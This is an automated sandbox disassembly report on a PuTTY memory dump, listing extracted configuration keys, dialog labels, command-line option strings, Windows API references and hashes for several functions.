NoRemoteClearScroll, xrefs: 00007FF678607A8F
AltSpace, xrefs: 00007FF678607B8E
SUPDUPLocation, xrefs: 00007FF678608AB9
BackspaceIsDelete, xrefs: 00007FF678607951
FontQuality, xrefs: 00007FF678607FDA
SerialLine, xrefs: 00007FF678608963
ScrollOnDisp, xrefs: 00007FF6786084A1
WindowBorder, xrefs: 00007FF678607D27
PasteRTF, xrefs: 00007FF6786081B9
LocalEdit, xrefs: 00007FF678607C69
BugDeriveKey2, xrefs: 00007FF6786086DD
CtrlAltKeys, xrefs: 00007FF678607BEE
LFImpliesCR, xrefs: 00007FF678607EC2
TerminalSpeed, xrefs: 00007FF678607301
LogFileClash, xrefs: 00007FF6786070B7
DisableBidi, xrefs: 00007FF678607F22
BugHMAC2, xrefs: 00007FF6786086B8
ConnectionSharingUpstream, xrefs: 00007FF678608A60
AuthGSSAPI, xrefs: 00007FF67860778E
NoAltScreen, xrefs: 00007FF678607A4F
BlinkText, xrefs: 00007FF678608520
BugWinadj, xrefs: 00007FF6786087BB
BugRekey2, xrefs: 00007FF67860874C
UseSystemColours, xrefs: 00007FF67860801C
SSHLogOmitData, xrefs: 00007FF67860713A
ScrollBarFullScreen, xrefs: 00007FF678608461
BellWaveFile, xrefs: 00007FF678607DC3
SshNoShell, xrefs: 00007FF678607817
MousePaste, xrefs: 00007FF67860833A
AlwaysOnTop, xrefs: 00007FF678607CAB
ProxyExcludeList, xrefs: 00007FF67860735C
UTF8Override, xrefs: 00007FF6786083E2
BCE, xrefs: 00007FF678608500
TelnetRet, xrefs: 00007FF678607C2E
LinuxFunctionKeys, xrefs: 00007FF67860798D
MouseOverride, xrefs: 00007FF678608238
UserNameFromEnvironment, xrefs: 00007FF6786074F7
TCPNoDelay, xrefs: 00007FF6786072A6
HostKey, xrefs: 00007FF678607644
GssapiRekey, xrefs: 00007FF6786076AC
ShadowBoldOffset, xrefs: 00007FF678608944
TelnetKey, xrefs: 00007FF678607C0E
BellOverloadN, xrefs: 00007FF678607E02
RemoteQTitleAction, xrefs: 00007FF678607AAB
LocalUserName, xrefs: 00007FF678607513
BugDropStart, xrefs: 00007FF67860882A
NoMouseReporting, xrefs: 00007FF678607A0F
ProxyLocalhost, xrefs: 00007FF6786073C2
StampUtmp, xrefs: 00007FF67860886B
PingInterval, xrefs: 00007FF678607249
ProxyMethod, xrefs: 00007FF6786073DE
BellOverloadS, xrefs: 00007FF678607E40
TryAgent, xrefs: 00007FF678607576
SshProt, xrefs: 00007FF678607833
TermWidth, xrefs: 00007FF678607F7D
BugRSA1, xrefs: 00007FF67860866E
NetHackKeypad, xrefs: 00007FF678607B4E
ProxyTelnetCommand, xrefs: 00007FF678607479
SerialSpeed, xrefs: 00007FF678608982
ShiftedArrowKeys, xrefs: 00007FF6786079AC
WideBoldFont, xrefs: 00007FF678608905
CtrlShiftIns, xrefs: 00007FF67860835A
X11Display, xrefs: 00007FF67860855C
SerialStopHalfbits, xrefs: 00007FF6786089C0
EraseToScrollback, xrefs: 00007FF6786084C1
PortForwardings, xrefs: 00007FF6786085F1
SSH2DES, xrefs: 00007FF678607875
WarnOnClose, xrefs: 00007FF67860720F
ScrollBar, xrefs: 00007FF678608441
BlinkCur, xrefs: 00007FF678607D69
WindowClass, xrefs: 00007FF678608A1D
ShadowBold, xrefs: 00007FF678608928
DetachedCertificate, xrefs: 00007FF6786078B0
MouseAutocopy, xrefs: 00007FF678608323
RectSelect, xrefs: 00007FF6786081F8
ProxyHost, xrefs: 00007FF6786073FD
Compression, xrefs: 00007FF678607556
Answerback, xrefs: 00007FF678607C88
AuthPlugin, xrefs: 00007FF6786078CF
PublicKeyFile, xrefs: 00007FF678607891
LogFlush, xrefs: 00007FF6786070DA
BugPKSessID2, xrefs: 00007FF678608727
NoPTY, xrefs: 00007FF678607536
TCPKeepalives, xrefs: 00007FF6786072C6
RekeyBytes, xrefs: 00007FF6786076CB
CtrlShiftCV, xrefs: 00007FF67860837A
BellOverload, xrefs: 00007FF678607DE6
BoldAsColour, xrefs: 00007FF6786080BC
SshNoAuth, xrefs: 00007FF6786076EE
ScrollbarOnLeft, xrefs: 00007FF6786088AB
FontVTMode, xrefs: 00007FF678607FF9
PreferKnownHostKeys, xrefs: 00007FF678607671
RXVTHomeEnd, xrefs: 00007FF678607971
TryPalette, xrefs: 00007FF67860803C
X11Forward, xrefs: 00007FF678608540
FullScreenOnAltEnter, xrefs: 00007FF678607CCB
raw, xrefs: 00007FF67860715D
AuthGSSAPIKEX, xrefs: 00007FF6786077AE
LogHeader, xrefs: 00007FF6786070FA
NoApplicationKeys, xrefs: 00007FF6786079CF
ProxyLogToTerm, xrefs: 00007FF678607498
Xterm256Colour, xrefs: 00007FF67860807C
ScrollbackLines, xrefs: 00007FF678607E5F
UTF8linedraw, xrefs: 00007FF678608199
TerminalModes, xrefs: 00007FF678607318
BugIgnore1, xrefs: 00007FF678608624
Colour%d, xrefs: 00007FF6786080E3
Printer, xrefs: 00007FF6786083FE
ComposeKey, xrefs: 00007FF678607BCE
BugOldGex2, xrefs: 00007FF678608796
ScrollOnKey, xrefs: 00007FF678608481
NoRemoteWinTitle, xrefs: 00007FF678607A6F
CloseOnExit, xrefs: 00007FF6786071EF
SSHManualHostKeys, xrefs: 00007FF678608A94
Present, xrefs: 00007FF67860703B
CJKAmbigWide, xrefs: 00007FF6786083C2
LineCodePage, xrefs: 00007FF67860839F
GSSLibs, xrefs: 00007FF6786077D1
SshNoTrivialAuth, xrefs: 00007FF67860770E
Beep, xrefs: 00007FF678607D85
WinNameAlways, xrefs: 00007FF678607F42
AltF4, xrefs: 00007FF678607B6E
PassiveTelnet, xrefs: 00007FF678607931
Cipher, xrefs: 00007FF6786075F2
ConnectionSharing, xrefs: 00007FF678608A40
NoDBackspace, xrefs: 00007FF678607ACE
ProxyPassword, xrefs: 00007FF67860745A
X11AuthFile, xrefs: 00007FF67860859A
RawCNP, xrefs: 00007FF678608179
LockSize, xrefs: 00007FF6786084DD
ProxyPort, xrefs: 00007FF67860741C
TermHeight, xrefs: 00007FF678607F9C
AutoWrapMode, xrefs: 00007FF678607EA2
AuthKI, xrefs: 00007FF67860776E
BeepInd, xrefs: 00007FF678607DA4
BellOverloadT, xrefs: 00007FF678607E21
MouseIsXterm, xrefs: 00007FF6786081D5
CapsLockCyr, xrefs: 00007FF678608421
AuthTIS, xrefs: 00007FF67860774E
AltOnly, xrefs: 00007FF678607BAE
SunkenEdge, xrefs: 00007FF678607D0B
LogFileName, xrefs: 00007FF678607079
LogHost, xrefs: 00007FF678607852
Wordness%d, xrefs: 00007FF678608263
DECOriginMode, xrefs: 00007FF678607E82
SUPDUPMoreProcessing, xrefs: 00007FF678608AFB
SerialFlowControl, xrefs: 00007FF6786089FE
ProxyUsername, xrefs: 00007FF67860743B
BugIgnore2, xrefs: 00007FF678608693
SUPDUPCharset, xrefs: 00007FF678608AD8
AddressFamily, xrefs: 00007FF67860733D
BugMaxPkt2, xrefs: 00007FF678608771
LogType, xrefs: 00007FF678607098
SshBanner, xrefs: 00007FF67860772E
DisableArabicShaping, xrefs: 00007FF678607F02
PortNumber, xrefs: 00007FF6786071A9
LocalEcho, xrefs: 00007FF678607C4A
RekeyTime, xrefs: 00007FF67860768D
BugRSAPad2, xrefs: 00007FF678608702
X11AuthType, xrefs: 00007FF67860857B
TerminalType, xrefs: 00007FF6786072E2
HideMousePtr, xrefs: 00007FF678607CEB
NoRemoteResize, xrefs: 00007FF678607A2F
AgentFwd, xrefs: 00007FF678607596
RemotePortAcceptAll, xrefs: 00007FF6786085DD
BugChanReq, xrefs: 00007FF6786087E0
SerialDataBits, xrefs: 00007FF6786089A1
GssapiFwd, xrefs: 00007FF6786075B6
ProxyDNS, xrefs: 00007FF6786073A2
SSHLogOmitPasswords, xrefs: 00007FF67860711A
BugRSASHA2CertUserauth, xrefs: 00007FF678608805
PingIntervalSecs, xrefs: 00007FF678607286
RFCEnviron, xrefs: 00007FF678607911
ChangeUsername, xrefs: 00007FF6786075D6
SUPDUPScrolling, xrefs: 00007FF678608B1B
ConnectionSharingDownstream, xrefs: 00007FF678608A80
/, xrefs: 00007FF6786077C9
RemoteCommand, xrefs: 00007FF6786078EE
WideFont, xrefs: 00007FF6786088E6
ApplicationKeypad, xrefs: 00007FF678607B2E
GSSCustom, xrefs: 00007FF6786077F4
TrueColour, xrefs: 00007FF67860809C
%s%d, xrefs: 00007FF678608281
CRImpliesLF, xrefs: 00007FF678607EE2
CurType, xrefs: 00007FF678607D46
Protocol, xrefs: 00007FF67860718D
BugPlainPW1, xrefs: 00007FF678608649
SerialParity, xrefs: 00007FF6786089DF
%d,%d,%d, xrefs: 00007FF678608135
ApplicationCursorKeys, xrefs: 00007FF678607B0E
NoApplicationCursors, xrefs: 00007FF6786079EF
ANSIColour, xrefs: 00007FF67860805C
HostName, xrefs: 00007FF67860705A
LocalPortAcceptAll, xrefs: 00007FF6786085BD
NoRemoteCharset, xrefs: 00007FF678607AEE
PasteControls, xrefs: 00007FF678608218

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: %d,%d,%d$%s%d$/$ANSIColour$AddressFamily$AgentFwd$AltF4$AltOnly$AltSpace$AlwaysOnTop$Answerback$ApplicationCursorKeys$ApplicationKeypad$AuthGSSAPI$AuthGSSAPIKEX$AuthKI$AuthPlugin$AuthTIS$AutoWrapMode$BCE$BackspaceIsDelete$Beep$BeepInd$BellOverload$BellOverloadN$BellOverloadS$BellOverloadT$BellWaveFile$BlinkCur$BlinkText$BoldAsColour$BugChanReq$BugDeriveKey2$BugDropStart$BugFilterKexinit$BugHMAC2$BugIgnore1$BugIgnore2$BugMaxPkt2$BugOldGex2$BugPKSessID2$BugPlainPW1$BugRSA1$BugRSAPad2$BugRSASHA2CertUserauth$BugRekey2$BugWinadj$CJKAmbigWide$CRImpliesLF$CapsLockCyr$ChangeUsername$Cipher$CloseOnExit$Colour%d$ComposeKey$Compression$ConnectionSharing$ConnectionSharingDownstream$ConnectionSharingUpstream$CtrlAltKeys$CtrlShiftCV$CtrlShiftIns$CurType$DECOriginMode$DetachedCertificate$DisableArabicShaping$DisableBidi$EraseToScrollback$FontQuality$FontVTMode$FullScreenOnAltEnter$GSSCustom$GSSLibs$GssapiFwd$GssapiRekey$HideMousePtr$HostKey$HostName$LFImpliesCR$LineCodePage$LinuxFunctionKeys$LocalEcho$LocalEdit$LocalPortAcceptAll$LocalUserName$LockSize$LogFileClash$LogFileName$LogFlush$LogHeader$LogHost$LogType$LoginShell$MouseAutocopy$MouseIsXterm$MouseOverride$MousePaste$NetHackKeypad$NoAltScreen$NoApplicationCursors$NoApplicationKeys$NoDBackspace$NoMouseReporting$NoPTY$NoRemoteCharset$NoRemoteClearScroll$NoRemoteResize$NoRemoteWinTitle$PassiveTelnet$PasteControls$PasteRTF$PingInterval$PingIntervalSecs$PortForwardings$PortNumber$PreferKnownHostKeys$Present$Printer$Protocol$ProxyDNS$ProxyExcludeList$ProxyHost$ProxyLocalhost$ProxyLogToTerm$ProxyMethod$ProxyPassword$ProxyPort$ProxyTelnetCommand$ProxyUsername$PublicKeyFile$RFCEnviron$RXVTHomeEnd$RawCNP$RectSelect$RekeyBytes$RekeyTime$RemoteCommand$RemotePortAcceptAll$RemoteQTitleAction$SSH2DES$SSHLogOmitData$SSHLogOmitPasswords$SSHManualHostKeys$SUPDUPCharset$SUPDUPLocation$SUPDUPMoreProcessing$SUPDUPScrolling$ScrollBar$ScrollBarFullScreen$ScrollOnDisp$ScrollOnKey$ScrollbackLines$ScrollbarOnLeft$SerialDataBits$SerialFlowControl$SerialLine$SerialParity$SerialSpeed$SerialStopHalfbits$ShadowBold$ShadowBoldOffset$ShiftedArrowKeys$SshBanner$SshNoAuth$SshNoShell$SshNoTrivialAuth$SshProt$StampUtmp$SunkenEdge$TCPKeepalives$TCPNoDelay$TelnetKey$TelnetRet$TermHeight$TermWidth$TerminalModes$TerminalSpeed$TerminalType$TrueColour$TryAgent$TryPalette$UTF8Override$UTF8linedraw$UseSystemColours$UserNameFromEnvironment$WarnOnClose$WideBoldFont$WideFont$WinNameAlways$WindowBorder$WindowClass$Wordness%d$X11AuthFile$X11AuthType$X11Display$X11Forward$Xterm256Colour$raw
API String ID: 0-3441272646
Opcode ID: e7e2492451285eaabcdf35f624091d56ce1b81eaafc784d96cb14073e079dd9f
Instruction ID: bfcf42d30b03df5881fea2816e91e520663623e95072a23ae22d6cf5fa87c003
Opcode Fuzzy Hash: e7e2492451285eaabcdf35f624091d56ce1b81eaafc784d96cb14073e079dd9f
Instruction Fuzzy Hash: 76D26193F3821661EE04A771E8526B71A52AF80FC0FB09531DC4D8BB87DD6CE905A26D

Function 00007FF678623EA0 Relevance: 126.9, Strings: 101, Instructions: 686COMMON

Download Yara Rule

Strings

Forbid resizing completely, xrefs: 00007FF6786248B7
config-fullscreen, xrefs: 00007FF678624A1F
When window is resized:, xrefs: 00007FF67862491C
AltGr acts as Compose key, xrefs: 00007FF67862404B
Font settings, xrefs: 00007FF678624326
c->handler == conf_radiobutton_handler, xrefs: 00007FF6786240F9, 00007FF678624525
Font has XWindows encoding, xrefs: 00007FF67862455C
Select X authority file, xrefs: 00007FF678624AE2
Window/Colours, xrefs: 00007FF6786247B5
size, xrefs: 00007FF67862485B
Disabled, xrefs: 00007FF67862427E
config-compose, xrefs: 00007FF678624052
Taskbar/caption indication on bell:, xrefs: 00007FF6786242B0
Flashing, xrefs: 00007FF67862426D
Allow selection of variable-pitch fonts, xrefs: 00007FF678624353
Window closes on ALT-F4, xrefs: 00007FF678624964
X11 forwarding, xrefs: 00007FF678624AA9
font, xrefs: 00007FF67862431F
Display scrollbar in full screen mode, xrefs: 00007FF678623F89
Control the scrollback in the window, xrefs: 00007FF678623F5C
Default, xrefs: 00007FF6786243AF
config-alwaysontop, xrefs: 00007FF6786249F2
Beep using the PC speaker, xrefs: 00007FF678624149
Control-Alt is different from AltGr, xrefs: 00007FF678624078
Attempt to use logical palettes, xrefs: 00007FF6786247E9
Action of mouse buttons:, xrefs: 00007FF678624778
basics, xrefs: 00007FF678624A41
Control use of mouse, xrefs: 00007FF6786246E6
config-altonly, xrefs: 00007FF6786249C5
Use font in both ANSI and OEM modes, xrefs: 00007FF678624575
Change the number of rows and columns, xrefs: 00007FF6786248EA
Compromise (Middle extends, Right pastes), xrefs: 00007FF67862473C
config-ssh-xauthority, xrefs: 00007FF678624AD6
config-altspace, xrefs: 00007FF678624998
Set the size of the window, xrefs: 00007FF678624862
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/config.c, xrefs: 00007FF678624100, 00007FF67862452C
Caps Lock acts as Cyrillic switch, xrefs: 00007FF678624458
config-charset, xrefs: 00007FF678624491
Window/Selection, xrefs: 00007FF6786246D8
config-winsizelock, xrefs: 00007FF678624907
X authority file for local display, xrefs: 00007FF678624AF3
Window, xrefs: 00007FF678623F4E, 00007FF678624854
Custom sound file to play as a bell:, xrefs: 00007FF678624210
Change the size of the font, xrefs: 00007FF6786248D9
Terminal/Keyboard, xrefs: 00007FF678624017
(Codepages supported by Windows but not listed here, such as CP866 on many systems, can be entered manually), xrefs: 00007FF67862448A
Windows (Middle extends, Right brings up menu), xrefs: 00007FF67862474D
System menu appears on ALT-Space, xrefs: 00007FF678624991
config-font, xrefs: 00007FF67862435A
format, xrefs: 00007FF678624692
Set the style of bell, xrefs: 00007FF67862409F
tweaks, xrefs: 00007FF67862442C
Window/Translation, xrefs: 00007FF678624425
config-cyr, xrefs: 00007FF67862445F
features, xrefs: 00007FF67862401E
trans, xrefs: 00007FF678624471
Adjust how %s displays line drawing characters, xrefs: 00007FF6786244A7
Window/Selection/Copy, xrefs: 00007FF67862468B
config-winborder, xrefs: 00007FF67862430D
Full screen on Alt-Enter, xrefs: 00007FF678624A18
Non-Antialiased, xrefs: 00007FF6786243D1
Connection/Proxy, xrefs: 00007FF678624A3A
Window/Behaviour, xrefs: 00007FF678624934
Use system colours, xrefs: 00007FF678624816
Steady, xrefs: 00007FF67862425C
About, xrefs: 00007FF678623EF9
config-rtfcopy, xrefs: 00007FF6786246C6
general, xrefs: 00007FF6786247BC
config-logpalette, xrefs: 00007FF6786247F0
Sunken-edge border (slightly thicker), xrefs: 00007FF678624306
Terminal/Bell, xrefs: 00007FF678624091
Window/Appearance, xrefs: 00007FF6786242C8
linedraw, xrefs: 00007FF6786244B6
Select bell sound file, xrefs: 00007FF6786241FF
Play a custom sound file, xrefs: 00007FF678624130
System menu appears on ALT alone, xrefs: 00007FF6786249BE
Ensure window is always on top, xrefs: 00007FF6786249EB
config-mouse, xrefs: 00007FF678624763
Formatting of copied characters, xrefs: 00007FF678624699
config-ctrlalt, xrefs: 00007FF67862407F
Help, xrefs: 00007FF678623F32
config-belltaskbar, xrefs: 00007FF67862429B
config-scrollback, xrefs: 00007FF678623F90
config-syscolour, xrefs: 00007FF67862481D
Copy to clipboard in RTF as well as plain text, xrefs: 00007FF6786246BF
Use font in OEM mode only, xrefs: 00007FF67862458E
config-bellstyle, xrefs: 00007FF6786241F3
Adjust the window border, xrefs: 00007FF6786242D6
main, xrefs: 00007FF67862493B
xterm (Right extends, Middle pastes), xrefs: 00007FF67862472B
Connection/SSH/X11, xrefs: 00007FF678624A9B
ClearType, xrefs: 00007FF6786243C0
Character set translation on received data, xrefs: 00007FF678624478
x11, xrefs: 00007FF678624AA2
Enable extra keyboard features:, xrefs: 00007FF678624025
Wave Files (*.wav), xrefs: 00007FF678624217
Font quality:, xrefs: 00007FF67862440D
config-altf4, xrefs: 00007FF67862496B
scrollback, xrefs: 00007FF678623F55
General options for colour usage, xrefs: 00007FF6786247C3
Change font size only when maximised, xrefs: 00007FF6786248C8

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: (Codepages supported by Windows but not listed here, such as CP866 on many systems, can be entered manually)$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/config.c$About$Action of mouse buttons:$Adjust how %s displays line drawing characters$Adjust the window border$Allow selection of variable-pitch fonts$AltGr acts as Compose key$Attempt to use logical palettes$Beep using the PC speaker$Caps Lock acts as Cyrillic switch$Change font size only when maximised$Change the number of rows and columns$Change the size of the font$Character set translation on received data$ClearType$Compromise (Middle extends, Right pastes)$Connection/Proxy$Connection/SSH/X11$Control the scrollback in the window$Control use of mouse$Control-Alt is different from AltGr$Copy to clipboard in RTF as well as plain text$Custom sound file to play as a bell:$Default$Disabled$Display scrollbar in full screen mode$Enable extra keyboard features:$Ensure window is always on top$Flashing$Font has XWindows encoding$Font quality:$Font settings$Forbid resizing completely$Formatting of copied characters$Full screen on Alt-Enter$General options for colour usage$Help$Non-Antialiased$Play a custom sound file$Select X authority file$Select bell sound file$Set the size of the window$Set the style of bell$Steady$Sunken-edge border (slightly thicker)$System menu appears on ALT alone$System menu appears on ALT-Space$Taskbar/caption indication on bell:$Terminal/Bell$Terminal/Keyboard$Use font in OEM mode only$Use font in both ANSI and OEM modes$Use system colours$Wave Files (*.wav)$When window is resized:$Window$Window closes on ALT-F4$Window/Appearance$Window/Behaviour$Window/Colours$Window/Selection$Window/Selection/Copy$Window/Translation$Windows (Middle extends, Right brings up menu)$X authority file for local display$X11 forwarding$basics$c->handler == conf_radiobutton_handler$config-altf4$config-altonly$config-altspace$config-alwaysontop$config-bellstyle$config-belltaskbar$config-charset$config-compose$config-ctrlalt$config-cyr$config-font$config-fullscreen$config-logpalette$config-mouse$config-rtfcopy$config-scrollback$config-ssh-xauthority$config-syscolour$config-winborder$config-winsizelock$features$font$format$general$linedraw$main$scrollback$size$trans$tweaks$x11$xterm (Right extends, Middle pastes)
API String ID: 0-2910557738
Opcode ID: 680a59dbf6e0c49f472116186466a9079699f6c30498090e3e8bcadaeabe9169
Instruction ID: 8e1882f631d4294e9de082e8150342a052e0c39884d6eafde3efc9c2c6267f83
Opcode Fuzzy Hash: 680a59dbf6e0c49f472116186466a9079699f6c30498090e3e8bcadaeabe9169
Instruction Fuzzy Hash: B9729F33A28A46A5EA10DB31F4402BB7BA1FB84784F700136DA8D87795DF3CE915E758

Function 00007FF678605310 Relevance: 88.9, APIs: 2, Strings: 48, Instructions: 1391COMMON

Download Yara Rule

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/cmdline.c, xrefs: 00007FF678605629
-noshare, xrefs: 00007FF678605F74, 00007FF6786062FA
L%s, xrefs: 00007FF678605EAE
-%c expects at least two colons in its argument, xrefs: 00007FF678605E9A
Unrecognised suboption "-sercfg %c", xrefs: 00007FF678606A27
-logoverwrite, xrefs: 00007FF678606157, 00007FF67860689D
-pw, xrefs: 00007FF67860548B
-restrict_acl, xrefs: 00007FF6786061AF
unable to open command file "%s", xrefs: 00007FF678606202
-sshlog, xrefs: 00007FF678606129, 00007FF67860686C
-pagent, xrefs: 00007FF6786054CC
telnet:, xrefs: 00007FF67860574E
Unrecognised suboption "-sercfg %s", xrefs: 00007FF6786069EC
-nc, xrefs: 00007FF678605446
-pwfile, xrefs: 00007FF6786054A2
unrecognised protocol prefix '%s', xrefs: 00007FF678605A24
-pageant, xrefs: 00007FF6786054DF
-no-trivial-auth, xrefs: 00007FF678605570, 00007FF678605F30
-sercfg, xrefs: 00007FF6786060FB
-ipv6, xrefs: 00007FF6786060E4
-nopageant, xrefs: 00007FF678605559
the -sercfg option can only be used with the serial protocol, xrefs: 00007FF6786067FE
-nc expects argument of form 'host:port', xrefs: 00007FF6786061F1
%c%.*s, xrefs: 00007FF678605905
-ipv4, xrefs: 00007FF6786060B6
-sshrawlog, xrefs: 00007FF678606140
-load, xrefs: 00007FF678605350
the -pw option can only be used with the SSH protocol, xrefs: 00007FF6786062B5
%.*s, xrefs: 00007FF678605798, 00007FF678605966, 00007FF678605A67, 00007FF678605BCD
-logappend, xrefs: 00007FF67860616E
-restrictacl, xrefs: 00007FF6786061C2
-restrict-acl, xrefs: 00007FF67860619C
-loghost, xrefs: 00007FF6786053D3
unable to open password file '%s', xrefs: 00007FF6786063F7
-proxycmd, xrefs: 00007FF678606185
-nopagent, xrefs: 00007FF678605542
-sessionlog, xrefs: 00007FF678606112
retd == 2, xrefs: 00007FF678605622
-noagent, xrefs: 00007FF67860552B
-agent, xrefs: 00007FF6786054B9
1.5, xrefs: 00007FF678606934
-cert, xrefs: 00007FF678606088
'%s' is not a valid format for a manual host key specification, xrefs: 00007FF678605E3B
-share, xrefs: 00007FF678605F5D
-hostkey, xrefs: 00007FF6786053EA
unable to read a password from file '%s', xrefs: 00007FF678606299
option "%s" not available in this tool, xrefs: 00007FF678606651, 00007FF678606B86
the -pwfile option can only be used with the SSH protocol, xrefs: 00007FF678606318

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID: %.*s$%c%.*s$'%s' is not a valid format for a manual host key specification$-%c expects at least two colons in its argument$-agent$-cert$-hostkey$-ipv4$-ipv6$-load$-logappend$-loghost$-logoverwrite$-nc$-nc expects argument of form 'host:port'$-no-trivial-auth$-noagent$-nopageant$-nopagent$-noshare$-pageant$-pagent$-proxycmd$-pw$-pwfile$-restrict-acl$-restrict_acl$-restrictacl$-sercfg$-sessionlog$-share$-sshlog$-sshrawlog$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/cmdline.c$1.5$L%s$Unrecognised suboption "-sercfg %c"$Unrecognised suboption "-sercfg %s"$option "%s" not available in this tool$retd == 2$telnet:$the -pw option can only be used with the SSH protocol$the -pwfile option can only be used with the SSH protocol$the -sercfg option can only be used with the serial protocol$unable to open command file "%s"$unable to open password file '%s'$unable to read a password from file '%s'$unrecognised protocol prefix '%s'
API String ID: 0-4105775278
Opcode ID: fe1b68579080188b4da63e62e08a84ec52e6b016707625fae5bae4a074361e38
Instruction ID: efc8a6457cd60ba93fba8199a2aa38165ebffef907ad74591c34c21f936ae1d6
Opcode Fuzzy Hash: fe1b68579080188b4da63e62e08a84ec52e6b016707625fae5bae4a074361e38
Instruction Fuzzy Hash: A8C25853F3C24361FA25A2328555BBB1E82AF85784F744030DD0EDA6DAEF6DAC05B24D

Function 00007FF6785F3C20 Relevance: 80.9, APIs: 43, Strings: 3, Instructions: 351windowCOMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32 ref: 00007FF6785F3CAA
GetWindowLongPtrA.USER32 ref: 00007FF6785F3CDD
SetBkMode.GDI32 ref: 00007FF6785F3CFF
GetStockObject.GDI32 ref: 00007FF6785F3D0A
SelectObject.GDI32 ref: 00007FF6785F3D16
GetObjectA.GDI32 ref: 00007FF6785F3D29
CreateFontIndirectA.GDI32 ref: 00007FF6785F3D54
SelectObject.GDI32 ref: 00007FF6785F3D65
GetSysColorBrush.USER32 ref: 00007FF6785F3D70
SetDlgItemTextA.USER32 ref: 00007FF6785F3E21
SetWindowTextA.USER32 ref: 00007FF6785F3E42
GetDlgItem.USER32 ref: 00007FF6785F3E56
DestroyWindow.USER32 ref: 00007FF6785F3E64
SendDlgItemMessageA.USER32 ref: 00007FF6785F3E84
MapDialogRect.USER32 ref: 00007FF6785F3ECD
GetDlgItem.USER32 ref: 00007FF6785F3EF3
SetWindowPos.USER32 ref: 00007FF6785F3F12
GetDlgItem.USER32 ref: 00007FF6785F3F27
MapDialogRect.USER32 ref: 00007FF6785F3F57
SetWindowPos.USER32 ref: 00007FF6785F3F87
GetDlgItem.USER32 ref: 00007FF6785F3F92
MapDialogRect.USER32 ref: 00007FF6785F3FB3
SetWindowPos.USER32 ref: 00007FF6785F3FDC
GetDlgItem.USER32 ref: 00007FF6785F3FE7
MapDialogRect.USER32 ref: 00007FF6785F4008
SetWindowPos.USER32 ref: 00007FF6785F4031
GetDlgItem.USER32 ref: 00007FF6785F403C
MapDialogRect.USER32 ref: 00007FF6785F405D
SetWindowPos.USER32 ref: 00007FF6785F4086
GetDlgItem.USER32 ref: 00007FF6785F4091
MapDialogRect.USER32 ref: 00007FF6785F40B2
SetWindowPos.USER32 ref: 00007FF6785F40DB
MapDialogRect.USER32 ref: 00007FF6785F40FC
MapDialogRect.USER32 ref: 00007FF6785F4127
GetWindowRect.USER32 ref: 00007FF6785F4133
SetWindowPos.USER32 ref: 00007FF6785F4166
GetSystemMetrics.USER32 ref: 00007FF6785F4175
GetSystemMetrics.USER32 ref: 00007FF6785F417E
LoadImageA.USER32 ref: 00007FF6785F419C
SendDlgItemMessageA.USER32 ref: 00007FF6785F41BC
GetDlgItem.USER32 ref: 00007FF6785F41D3
DestroyWindow.USER32 ref: 00007FF6785F41E1
ShowWindow.USER32 ref: 00007FF6785F41EF

Strings

PuTTYHostKeyMoreInfo, xrefs: 00007FF6785F3DC6
<, xrefs: 00007FF6785F4042
(, xrefs: 00007FF6785F3EA2

Memory Dump Source

